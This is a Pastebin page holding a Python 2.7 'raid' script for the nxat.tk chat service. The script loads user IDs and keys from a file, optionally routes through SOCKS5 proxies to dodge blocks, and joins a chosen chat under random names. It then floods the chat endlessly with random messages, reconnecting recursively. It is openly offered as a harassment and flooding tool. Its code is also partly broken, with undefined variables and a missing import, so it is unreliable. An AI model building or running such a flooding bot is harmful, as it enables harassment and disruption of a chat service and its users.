Advertisement
dopeFox

[Python 2.7xx] TheFox's nXat Raid

Nov 12th, 2014
1,129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.62 KB | None | 0 0
  1. VIDEO: https://www.youtube.com/watch?v=8Y3nSRA6jMs
  2.  
  3. import socket
  4. from xml.etree import ElementTree as et
  5. import math, urllib
  6. import random, time, re
  7. global String_1, String_2, String_3, String_4, Chat, Using_Proxies, Raid_Fixed_j2
  8.  
  9. '''
  10. ~ http://nxat.tk  -> Raid
  11. ~ Made by: TheFox
  12. ~ ids.txt -------------> http://pastebin.com/353eebdH
  13. '''
  14.  
  15. def Raid():
  16.         try:
  17.                 nxat_ids = [i.strip() for i in open('ids.txt','r').read().splitlines()]
  18.                 i = random.choice(nxat_ids)
  19.                 nxat_id = i.split('&')
  20.                 print("\n" + str(nxat_id))
  21.                 ID = zat_id[0]
  22.                 ID = zat_id[0].strip('UserId=')
  23.                 K1 = zat_id[1]
  24.                 K1 = zat_id[1].strip('k1=')
  25.         except:
  26.                 print("'ids.txt' was not found! Please create one in the same folder that this script is in and add IDs to it SPECIFALLY IN THIS LAYOUT: http://prntscr.com/55tzbi OR use my ids.txt http://pastebin.com/353eebdH\n")
  27.                 time.sleep(999)
  28.         if Using_Proxies == 'yes':
  29.                 Proxies_txt = [i.strip() for i in open('socks5.txt','r').read().splitlines()]
  30.                 Proxy = random.choice(Proxies_txt)
  31.                 proxy = Proxy.split(':')
  32.                 print "Proxy Being Used: " + str(Proxy[0]) + ":" + str(Proxy[1]) + "\n"
  33.                 try:
  34.                         socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, Proxy[0], int(Proxy[1]))
  35.                         test = socks.socksocket
  36.                         Socket = test(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
  37.                         Socket.settimeout(5)
  38.                         Socket.connect(("167.114.19.192", 1204))
  39.                 except:
  40.                         print "Could not connect using the selected proxy! Or 'socks5.txt' was not found! Re-trying....\n"
  41.                         Raid()
  42.         elif Using_Proxies != 'yes':
  43.                 Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
  44.                 Socket.connect(('167.114.19.192', 1204))
  45.                 Socket.send('<y r="'+Chat+'" v="0" u="'+ID+'" />\0')
  46.                 XML = et.fromstring(Socket.recv(1024).strip('\0')).attrib
  47.                 print('Recieved: ' + str(XML))
  48.                 Handshake_yi = int(XML['yi'])
  49.                 Handshake_yc = int(XML['yc'])
  50.                 Handshake_ys = int(XML['ys'])
  51.                 ym1 = str(int(2 << (Handshake_yi % 30)) % Handshake_yc + Handshake_yi)
  52.                 print("YM1: " + ym1)
  53.                 ym2 = str(int(pow(2, Handshake_ys % 32)))
  54.                 print("YM2: " + ym2)
  55.                 String_1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
  56.                 String_2 = len(String_1) - 1
  57.                 String_4 = ''.join([String_1[random.randint(0, String_2)] for y in range(1, 10)])#Null's name
  58.                 Avatar = random.randint(1,1000)
  59.                 Socket.send('<j2 cb="0" Y="2" ym1="'+str(ym1)+'" ym2="'+str(ym2)+'" q="1" y="'+str(Handshake_yi)+'" k="'+K1+'" p="0" c="'+Chat+'" u="'+ID+'" d0="0" n="'+String_4+'" a="'+str(Avatar)+'" h="" v="0" />')
  60.                 while 1:
  61.                         String_3 = ''.join([String_1[random.randint(0, String_2)] for y in range(1, 15)])#Message
  62.                         Data = Socket.recv(1024)
  63.                         Socket.send('<m t="'+String_3+'" u="'+ID+'" />\0')
  64.                         Raid()
  65. print("-----------------------------")
  66. print("TheFox's nxat.tk Raid Script")
  67. print("---------------------------\n")
  68. Chat = raw_input("Chat's ID: ")
  69. Using_Proxies = raw_input("Would you like to use proxies? Type 'yes' or 'no' : ")
  70. Raid()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement